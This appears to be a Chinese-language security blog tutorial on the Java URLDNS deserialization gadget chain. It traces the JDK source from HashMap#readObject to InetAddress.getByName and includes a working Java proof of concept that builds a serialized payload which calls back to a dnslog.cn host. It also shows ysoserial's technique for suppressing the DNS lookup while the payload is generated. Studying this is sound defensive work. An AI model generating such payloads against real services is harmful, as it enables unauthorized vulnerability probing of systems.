URLDNS来自于原生类,且不受JDK版本限制,故常用于检测反序列化。
原理
首先是HashMap#readObject,调用了putVal方法,对传入的key进行了哈希计算。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { else if (mappings > 0) { for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
|
hash方法会调用传入对象的hashCode方法。
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
传入的是URL对象,所以跟进URL对象中的hashCode方法,先会判断hashCode是否等于-1,然后再调用URLStreamHandler的hashCode方法。
1 2 3 4 5 6
| public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
|
hashCode方法再调用了getHostAddress方法。
1 2 3 4 5 6 7
| protected int hashCode(URL u) { InetAddress addr = getHostAddress(u); return h; }
|
跟进,可以看见其调用了getByName方法,其描述是Determines the IP address of a host, given the host's name,即为一次DNS请求,返回IP地址。
1 2 3 4 5 6 7 8 9 10 11
| protected synchronized InetAddress getHostAddress(URL u) { if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } return u.hostAddress; }
|
调用栈如下。
1 2 3 4 5 6
| getByName:1076, InetAddress (java.net) getHostAddress:436, URLStreamHandler (java.net) hashCode:353, URLStreamHandler (java.net) hashCode:885, URL (java.net) hash:338, HashMap (java.util) put:611, HashMap (java.util)
|
Exploit生成
对生成Exploit来说,使用put方法存入数据时,也会调用putVal方法。
因此在生成Exploit时就会发起一次DNS请求,最好规避一下。
回到hashCode方法,看见一开始有一个对值的判断,如果不等于-1,则直接返回。
1 2 3 4 5 6
| public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
|
故可通过反射来修改URL中的hashCode,在调用put方法前后修改hashCode即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class URLDNS { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://a4ungz.dnslog.cn/"); Class clas = Class.forName("java.net.URL"); Field field = clas.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url, 233); map.put(url, "233"); field.set(url, -1); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./urldns")); outputStream.writeObject(map); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./urldns")); inputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
|
ysoserial中,创建了SilentURLStreamHandler类来构造URL。
1 2 3 4 5 6 7 8
| static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } }
|
使得在调用putVal时,调用的是SilentURLStreamHandler类的getHostAddress方法,返回的是null,故不会触发DNS请求。
以及将其标记为transient,使得其不被序列化。
Refer
Java反序列化-URLDNS
ysoserial